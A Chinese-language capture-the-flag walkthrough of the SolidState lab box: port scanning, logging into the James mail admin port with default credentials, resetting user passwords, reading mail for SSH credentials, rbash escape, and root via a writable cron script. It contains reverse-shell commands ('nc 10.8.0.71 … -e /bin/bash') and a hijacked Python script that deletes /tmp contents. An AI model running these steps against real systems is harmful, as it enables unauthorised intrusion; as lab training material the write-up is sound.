SolidState Walkthrough

box info

image-20250311182630924

The Hack

对目标主机进行端口发现

sudo nmap -p- 172.16.33.35

image-20250209114134707

对开放的端口进行应用版本发现

sudo nmap -p22,25,80,110,119,4555 -A 172.16.33.35

image-20250209114225570

发现 ssh 服务(22),SMTP、pop3 邮箱服务(25、110),http 服务(80),nntp 网络新闻传输服务(119),以及高位端口 4555 。

SMTP 用于电子邮件的发送(服务器到服务器或客户端到服务器)。它是标准的邮件传输端口,通常不加密,但可通过STARTTLS升级加密

POP3 用于从邮件服务器下载邮件到本地客户端 。默认不加密

先从 80 端口 HTTP 服务开始,直接访问页面,发现聊天框,但是 action 的值为 # ,未能与客户端、服务端产生交互,是一个 花瓶

image-20250209153921682

但是发现邮箱以及 IP 对应的域名,尝试用域名访问:

用 IP 和域名访问的结果可能会大不相同

sudo vi /etc/hosts

添加如下内容:

172.16.33.35	solid-state-security.com
172.16.33.35 www.solid-state-security.com

回显相同,猜测失败

查看源码,为静态页面。源码中的链接下面都能通过 dirsearch 枚举出来

尝试 dirsearch 扫一扫:

dirsearch -u http://172.16.33.35/

image-20250209155851057

扫描出来的左右内容都没什么有价值的内容

gobuster:

gobuster dir -u http://172.16.33.35/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

emm… 啥啥都没有

image-20250209160553754

80 端口的 http 页面似乎没有漏洞,那就看看运行的 JAMES 2.3.2 有无漏洞

能搜到有 RCE 漏洞,看看能不能直接利用:

image-20250209161535859

大致意思是创建名为 ../../../../../../../../etc/bash_completion.d 的用户并将 payload 作为邮件内容发送给他

只要别的用户登录这台主机,就会自动加载、执行 /etc/bash_completion.d 中的文件

但是即使成功写入,本台靶机也没有后台进程登录这台主机,执行不了写入的 webshell ,

再来看 4555 端口,使用默认账密 root/root ,尝试用 telnet 连接:

telnet 172.16.33.35 4555

或者用 nc :

nc -nv -C 172.16.33.35 110

成功:

image-20250311134220443

查看存在的用户:

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

使用 setpassword 将所有存在用户密码设置为 12345

setpassword james 12345
setpassword thomas 12345
setpassword john 12345
setpassword mindy 12345
setpassword mailadmin 12345

查看邮件内容,在 pop3 服务上分别查看存在用户的邮件是否存在以及是否泄露隐藏信息

telnet 172.16.33.35 110

查看 james ,没有

USER james
+OK
PASS 12345
+OK Welcome james
LIST 1
-ERR Message (1) does not exist.
LIST
+OK 0 0
.

查看 thomas ,没有

USER thomas 
+OK
PASS 12345
+OK Welcome thomas
LIST
+OK 0 0
.

查看 john ,发现有一个邮件:

USER john
+OK
PASS 12345
+OK Welcome john
LIST
+OK 1 743
1 743
.

查看文件内容,似乎说明了 mindy 的邮件泄露了他账号的密码

image-20250311140800670

查看 mindy ,发现有两篇邮件:

USER mindy
+OK
PASS 12345
+OK Welcome mindy
LIST
+OK 2 1945
1 1109
2 836
.

第一篇在祝贺她被录用

image-20250311140934063

第二篇找到她的 ssh 账户和密码:

image-20250311141052051

再看看 mailadmin ,没有

USER mailadmin
+OK
PASS 12345
+OK Welcome mailadmin
LIST
+OK 0 0
.

已知 mindy 账号和密码,使用 ssh 登陆:

ssh mindy@172.16.33.35 

image-20250311141955855

获得 user.txt :

cat user.txt

image-20250311144133653

输入一些命令时能看到回显的 rbash 标志,需要 rbash 逃逸

image-20250311144552167

尝试 ssh 登录时逃逸:

ssh mindy@172.16.33.35 -t "bash --noprofile"

再次输入 sudo -l ,逃逸成功:

image-20250311144911661

或者使用 netexec 逃逸 rbash ,同时开启监听

netexec ssh 172.16.33.35 -u mindy -p 'P@55W0rd1!2@' -x 'nc 10.8.0.71 1234 -e /bin/bash'

image-20250209170922621

image-20250209170942930

在 Interesting writable files 中,我们会看到 /opt/tmp.py 文件可以由我们写入并且具有 root 权限。

image-20250311174536822

所有人能修改,所有人为 root

image-20250209171509612

该终端功能不完整,不能进行交互式编辑

#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
os.system('nc 10.8.0.71 8023 -e /bin/bash')
except:
sys.exit()

将内容保存至本地,增加反弹 shell 语句

image-20250311180548022

上传至目标主机并用 cp 覆盖原本靶机:

wget http://10.8.0.71:8888/tmp.py
cp tmp.py /opt/tmp.py

image-20250311180912900

最多等待 5 分钟 getshell 并取得 root.txt

image-20250311181018959